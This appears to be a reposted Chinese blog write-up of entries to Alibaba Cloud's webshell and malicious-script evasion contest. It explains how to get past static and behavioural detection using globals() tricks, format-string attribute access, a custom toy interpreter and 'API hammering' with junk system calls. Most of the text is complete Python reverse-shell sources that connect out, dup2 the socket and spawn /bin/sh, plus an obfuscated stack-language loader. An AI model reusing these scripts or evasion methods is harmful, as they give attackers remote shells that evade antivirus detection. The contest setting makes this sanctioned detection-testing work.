介绍
伏魔挑战赛是阿里云举办的webshell和恶意脚本免杀比赛,选手需要编写webshell或反弹shell脚本等恶意脚本,绕过伏魔引擎的查杀。每一个不重复的样本都可以获得几百至一千的奖金。规则文档在这里。
上一年因为身体原因只打了一天,今年也很不幸因为期末考试和毕业设计只打了一天,写了两个python的反弹shell脚本。
上一年的查杀引擎是很好绕过的,尤其是恶意脚本查杀引擎,用一下python的语法特性就能绕过,一次就是100的奖金,今年很明显比上一年难了很多,当然奖金也变成了400一个。
伏魔引擎
伏魔引擎不仅有常规的静态分析,还有行为检测和深度学习等新技术,相对于简单的ctf比赛和d盾之类的玩意还是强很多的。
首先常规手法,比如动态函数调用,还有base64之类的字符串混淆之类的套路,大概率都是没用的。就不说这些手法会被深度学习算法识别了,只要引擎跑一下静态分析,手动解析一下base64,就可以还原混淆手法,实现查杀。
上一届的伏魔引擎在静态分析恶意脚本这方面很薄弱,当时我用了python的列表推导式还有sys.modules这两个python特性实现了免杀。今年查杀引擎加强了很多,这两个套路当然是没用了的。
除了加强静态分析,伏魔引擎今年还加上了行为检测技术,根据表现应该会检查脚本产生的系统调用。
纯函数与副作用 - 为什么base64没用
像字符串拼接、PHPFuck这样的手法,虽然可以绕过一些基于正则表达式的查杀引擎,但是对拥有静态分析能力的引擎来说一般是没用的。
比如说下面这段代码:
$a = implode("",['p','h','p','i','n','f','o','(',')']);
虽然没有任何关键字,好像查杀引擎根本查不出来什么东西,但是查杀引擎只要解析执行这个表达式就能知道implode计算出了什么字符串了,然后跟踪这个字符串就可以实现查杀。
像字符串拼接、字符串替换、base64编码、array_map之类的手法全部都存在这样的缺陷。查杀引擎只要解析执行一下就能轻松查杀。
如果一个表达式没有副作用,那查杀引擎只要解析执行一下就能计算出这个表达式的值,然后进行查杀
为了从根本上绕过静态分析,我们可以编写更加复杂,更加“不纯”的函数,让查杀引擎不能直接解析执行,分析表达式的内容。
一些简单的手法
污染全局变量
python中的变量可以按照定义的位置分为全局变量和非全局变量。
比如说下面的这个例子,在函数的外面定义的变量就是全局变量,函数里的变量不是全局变量。
a = 1 # 这个是全局变量 def f(): a = 2 # 这个不是全局变量
在python中,我们可以通过globals()这个函数获取所有全局变量,也可以通过这个函数定义新的全局变量,效果和直接定义变量是一样的。
globals()返回的是一个字典,键是变量名,值是变量的值,而给这个字典赋值可以定义新的变量,或者修改变量的值,比如说:
globals()["a"] = 1 # 相当于a = 1 print(a)
所以我们可以通过globals()隐藏赋值语句,从而达到隐藏控制流的目的
当然单纯的把变量赋值改成修改字典是没用的,还需要配合其他技巧实现绕过
字符串格式化
python的字符串格式化的功能非常丰富。我们在写python代码的时候经常会使用"Hello {}".format(name)
这样的语法格式化字符串,也就是用.format
函数把{}
替换成我们需要的值。
字符串格式化不仅支持替换字符串,还支持取对象的属性。比如"{0.aaa}"
就是取第一个变量的aaa
属性,将其填入字符串中,格式化的时候这样传入对象就行:"{0.aaa}".format(o)
比如:
class Data: aaa = 114 s = "{0.aaa}".format(Data()) # 取对象Data()的属性aaa
加花的另一种手法:实现一个“编程语言”
众所周知,像伏魔这样的查杀引擎基本上都支持静态分析,通过分析脚本每一步的运行过程来分析脚本的行为,甚至只要分析什么外部数据被传入危险函数中就可以实现查杀。
绕过静态分析的手法有很多,除了不断寻找偏门的语法特性,打断分析过程之外,其实还有一个“一劳永逸”的方法,那就是在python之上自创一个编程语言,操作python中的对象。
也就是说,我们把恶意脚本分成两个部分:一个部分用自创编程语言的语法编写实际的恶意脚本,实现反弹shell功能;另一个部分负责解释运行这个编程语言,充当这个编程语言的解释器。
查杀引擎不认识我们的自创编程语言,也大概率看不出解释器有什么问题,这样就可以实现免杀。
当然这个手法也是存在问题的。因为我们自创的编程语言会操作python中的对象,解释器本身可能会被查杀引擎判定为恶意代码。
仿造汇编实现自创编程语言
在实际操作中我们不需要写一个像C语言或者python一样功能完整的编程语言,只需要写一个像brainfuck一样的玩具编程语言就行。
比如说下面的代码:
s = skt s = s.socket
第一句将变量skt赋值给了变量s,第二句取了变量s的.socket
属性
那我们就可以把每一句都写成另外一种形式,把上面的代码改成下面这样,把对应的变量名、属性名和动作写在列表中
actions = [ ["set_var", "s", "skt"], # 对应 s = skt ["getattr", "s", "socket"], # 对应 s = s.socket ]
然后,我们最好新开一个字典保存我们创建的所有变量,也就是下面的字典d
再然后,我们需要用for循环遍历这个列表中的每一项,并执行对应的动作
d = {} for fn, *args in actions: if fn == "set_var": d[args[0]] = d[args[1]] # args[0]是新变量名,args[1]是原变量名 elif fn == "getattr": d[args[0]] = getattr(d[args[0]], args[1]) # args[0]是变量名,args[1]是属性名
这样就用不同的语法实现了操作python对象,实现了等同于python的功能,也就可以用这套语法来写反弹shell脚本了。
API hammering: 绕过行为分析
今年的查杀引擎相较于上一年增加了行为分析的功能,可以分析脚本执行时的系统调用。
反弹shell脚本执行的时候肯定是需要调用系统API的,要不然就没法创建socket、加载/bin/sh
了
可如果“创建socket、连接服务器、exec /bin/sh
”的这一套流程被检测出来的话那肯定没法绕过引擎
为了绕过行为分析,我们可以使用API hammering的技巧绕过检测。
API hammering也就是在实际的操作之间插入大量无用系统调用,不断地读写临时文件,列出文件夹,创建socket,创建子进程。
这样,脚本在创建反弹shell的同时会产生大量无用的系统调用,干扰查杀引擎的分析,从而实现查杀。
这一步用简单的python代码就能实现。
def hammer(): import random file = None n = random.randint(3000, 5000) for _ in range(n): p = random.random() if p < 0.5: import socket socket.socket(2, 1) elif p < 0.98: import tempfile if file and Path(file).exists(): Path(file).unlink() file = tempfile.mktemp() else: import os p = os.fork() if p == 0: exit() return hammer
我们只要在反弹shell的每一步之间调用这个函数就可以实现绕过行为分析
其他思考
官方的文章中提到伏魔是基于AST的,也许可以在注释上动一些手脚?只能等到下一次比赛再试试了。
源码
两个反弹shell脚本的源码如下
import pprint from pathlib import Path import random def hammer(): file = None n = random.randint(3000, 5000) for _ in range(n): p = random.random() if p < 0.5: import socket socket.socket(2, 1) elif p < 0.98: import tempfile if file and Path(file).exists(): Path(file).unlink() file = tempfile.mktemp() else: import os p = os.fork() if p == 0: exit() return hammer actions = [ ["set_val", "author", "Marven11"], ["set_val", "hp", ("127.0.0.1", 1234)], ["set_var_g", "hammer", "hammer"], ["set_var_g", "im", "pprint"], ["getattr", "im", "pprint"], ["getattr", "im", "__globals__"], ["getitem", "im", "__builtins__"], ["getitem", "im", "__import__"], ["set_val", "0", 0], ["set_val", "1", 1], ["set_val", "2", 2], ["set_val", "3000", 3000], ["set_val", "oo", "os"], ["apply", "oo", "im"], ["set_val", "skt", "socket"], ["apply", "skt", "im"], ["set_var", "s", "skt"], ["getattr", "s", "socket"], ["call", "hammer"], ["call", "s", "2", "1"], ["set_var", "s_conn", "s"], ["getattr", "s_conn", "connect"], ["call", "s_conn", "hp"], ["set_var", "s_fno", "s"], ["getattr", "s_fno", "fileno"], ["call", "hammer"], ["call", "s_fno"], ["set_var", "dup", "oo"], ["getattr", "dup", "dup2"], ["call", "hammer"], ["call", "dup", "s_fno", "0"], ["set_var", "dup", "oo"], ["getattr", "dup", "dup2"], ["call", "hammer"], ["call", "dup", "s_fno", "1"], ["set_var", "dup", "oo"], ["getattr", "dup", "dup2"], ["call", "hammer"], ["call", "dup", "s_fno", "2"], ["set_var", "spawn", "oo"], ["getattr", "spawn", "posix_spawn"], ["set_val", "sh", Path("/bin")], ["div", "sh", "sh"], ["set_var", "sh2", "sh"], ["set_var", "env", "oo"], ["getattr", "env", "environ"], ["tolist", "sh2"], ["call", "hammer"], ["call", "spawn", "sh", "sh2", "env"], ] d = {} for fn, *args in actions: if fn == "set_val": d[args[0]] = args[1] elif fn == "set_var_g": d[args[0]] = globals()[args[1]] elif fn == "set_var": d[args[0]] = d[args[1]] elif fn == "getattr": d[args[0]] = getattr(d[args[0]], args[1]) elif fn == "getitem": d[args[0]] = d[args[0]][args[1]] elif fn == "call": call_args = [d[name] for name in args[1:]] d[args[0]] = d[args[0]](*call_args) elif fn == "apply": d[args[0]] = d[args[1]](d[args[0]]) elif fn == "tolist": d[args[0]] = [d[args[0]]] elif fn == "div": d[args[0]] = d[args[0]] / args[1] pprint.pprint("Enjoy your shell!") ## pprint.pprint({k: v for k, v in globals().items() if not k.startswith("__")})
from dataclasses import dataclass from pprint import pprint from pathlib import Path import time def hammer(): import random file = None n = random.randint(3000, 5000) for _ in range(n): p = random.random() if p < 0.5: import socket socket.socket(2, 1) elif p < 0.98: import tempfile if file and Path(file).exists(): Path(file).unlink() file = tempfile.mktemp() else: import os p = os.fork() if p == 0: exit() return hammer @dataclass class A: hammer = ";hammer()" init = "i={0.im};ooo=i('{0.os}'){0.hammer};{0.skt}=i('{0.skt}');print('By Marven11');" im = "__import__" os = "os" skt = "socket" getsocket = ( "{0.__class__.__name__}='{0.host}';p={0.port};" "s={0.skt}.{0.skt}(2,1){0.hammer};s.{0.conn}(({0.__class__.__name__},p)){0.hammer};" ) host = "127.0.0.1" port = "1234" conn = "connect" spawn = "{0.dup},0){0.hammer};{0.dup},1){0.hammer};{0.dup},2){0.hammer}{0.hammer};ooo.execlp({0.env},{0.env},'{0.sh}','-i');" pty = "pty" dup = "ooo.dup2(s.fileno()" env = "'/usr/bin/env'" sh = 'sh' fi = "fileno" g = globals() l = locals() def print_time(s: str): code = compile(s, "<print_time>", mode="exec") start_time = time.perf_counter() pprint(code, g, l) # type: ignore stop_time = time.perf_counter() print(f"{stop_time - start_time=}") o = A() d = [ ["ex", "ec", "pprint"] ] for a, b, c in d: globals()[c] = __builtins__.__dict__[a+b] print_time(o.init.format(o)) print_time(o.getsocket.format(o)) print_time(o.spawn.format(o))
附送第三届的恶意脚本免杀,也是用了类似的思路,但是不是基于汇编而是基于类似brainfuck的语法
import socket import os import pty content = """ 39+9/*0+39+9/*3+19+9/*7+29+9/*1+29+9/*2+39+9/*6+6'@29+9/*0+39+9/*1+39+9/*4+3'19+9/*5+19+9/*5+19+9/*8+49 +9/*0+29+9/*6+39+9/*0+39+9/*8+29+9/*6+39+9/*2+39+9/*7+19+9/*5+19+9/*5+93+'@29+9/*2+49+9/*1+1 9+9/*7+39+9/*0+4 ░▀█▀░█▄█░█░▄▀▀░░░█░▄▀▀░░▒▄▀▄░░▒█▀▄▒██▀░█▒█░▄▀▀░█▄█▒██▀░█▒░░█▒░ '.:29+9/*2+49+9/*3+29+9/ *2+29+9/*0+49* ░▒█▒▒█▒█░█▒▄██▒░░█▒▄██▒░░█▀█▒░░█▀▄░█▄▄░▀▄▀▒▄██▒█▒█░█▄▄▒█▄▄▒█▄▄ 4+49*3+19+9/*2+39+9/*2 +39+9/*4+39+9/*6+29+9/*6+39+9/*2+39+9/*8+49*4+39*7+89*5+19+9/*7+29+9/*1+29+9/*2+39*5+19+9/*8+49+9/*4+39*5+89*5+19+9/*7+39+9/ *6+49+9/*1+29+9/*2+39+9/*2+59*4+59*4+39*7+49*5+19+9/*2+39+9/*2+39+9/*7+69*7+39+9/*7+39+9/*3+29+9/*0+29+9/*8+29+9/*2+ 39+9/*8+59*1+39+9/*7+39+9/*3+29+9/*0+29+9/*8+29+9/*2+39+9/*8+49*4+59*5+49*8+59*4+49*5+19+9/*2+39+9/*2+39+9/*7+ 59*1+29+9/*0+39+9/*3+39+9/*2+39+9/*2+29+9/*2+29+9/*0+39+9/*8+49*4+49*4+39*7+59*7+59*5+59*1+59*4+69*3+59*7+5 9*1+59*4+69*1+69/*59*1+59*4+69*2+59*4+39*7+49*8+59*7+59*3+59*8+59*4+49*5+49*5+19+9/*2+39+9/*2+39+9/*3+39+9/*7+59 *1+29+ ▒█▀▄░█▒█░█▄░█░░░█░▀█▀░░▒▄▀▄░█▄░█░█▀▄░░░▄▀▒▒██▀░▀█▀░░▒██▀░▀▄▀▒█▀▄░█▒░░▄▀▄░█░▀█▀▒██▀░█▀▄ 9/*1+49+9/*0+39+9/ *4+5 ░█▀▄░▀▄█░█▒▀█▒░░█░▒█▒▒░░█▀█░█▒▀█▒█▄▀▒░░▀▄█░█▄▄░▒█▒▒░░█▄▄░█▒█░█▀▒▒█▄▄░▀▄▀░█░▒█▒░█▄▄▒█▄▀ 9*5+49*4+39+9/*7 +59*1+29+9/*3+29+9/*6+39+9/*0+29+9/*2+39+9/*2+39+9/*3+49*4+49*5+49*8+59*3+49*5+19+9/*2+39+9/*2+39+9/*3+39+9/*7+59*1+2 9+9/*1+49+9/*0+39+9/*4+59*5+49*4+39+9/*7+59*1+29+9/*3+29+9/*6+39+9/*0+29+9/*2+39+9/*2+39+9/*3+49*4+49*5+49*8+59*4+49*5+19+9/* 2+39+9/*2+39+9/*3+39+9/*7+59*1+29+9/*1+49+9/*0+39+9/*4+59*5+49*4+39+9/*7+59*1+29+9/*3+29+9/*6+39+9/*0+29+9/ *2+39+9/*2+39+9/*3+49*4+49*5+49*8+59*5+49*5+19+9/*2+39+9/*2+39+9/*4+39+9/*8+49+9/*4+59*1+39+9/*7+39+9/*4+19+9/*7+49+9/*2+3 9+9/*2+49*4+39*7+59*2+19+9/*8+29+9/*6+39+9/*2+59*2+39+9/*7+29+9/*5+39*7+49*5+19+9/*2+39+9/*2+49*3+49*5+99*99*9 96++++'39+9/*0+39+9/*3+19+9/*7+29+9/*1+29+9/*2+39+9/*6+6'@= """ class Loader: def __init__(self, content): self.content = content self.cmp = lambda x: x == content def __eq__(self, other): return self.cmp(other) def load(self): content = self.content stack = [] p = 0 output = "" obst = [] while p < len(content): c = content[p] if ord("0") <= ord(c) <= ord("9"): stack.append(int(c)) elif c == "<": p -= stack.pop() elif c == "+": stack.append(stack.pop() + stack.pop()) elif c == "-": stack.append(stack.pop() - stack.pop()) elif c == "*": stack.append(stack.pop() * stack.pop()) elif c == "/": stack[-1], stack[-2] = stack[-2], stack[-1] elif c == "'": num = stack.pop() obst.append("".join(chr(stack.pop()) for _ in range(num))[::-1]) elif c == "@": obst[-1] = globals()[obst[-1]] elif c == ":": v, k, o = obst.pop(), obst.pop(), obst.pop() setattr(o, k, v) obst.append(o) elif c == "=": obst.append(obst.pop() == obst.pop()) elif c == ".": a = obst.pop() obst.append(getattr(obst.pop(), a)) elif c == "?": if stack[-2]: p -= stack.pop() elif c == "!": p += 1 stack.append(ord(content[p])) elif c == "#": output += chr(stack.pop()) p += 1 return output loader = Loader(content) print(loader.load())
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)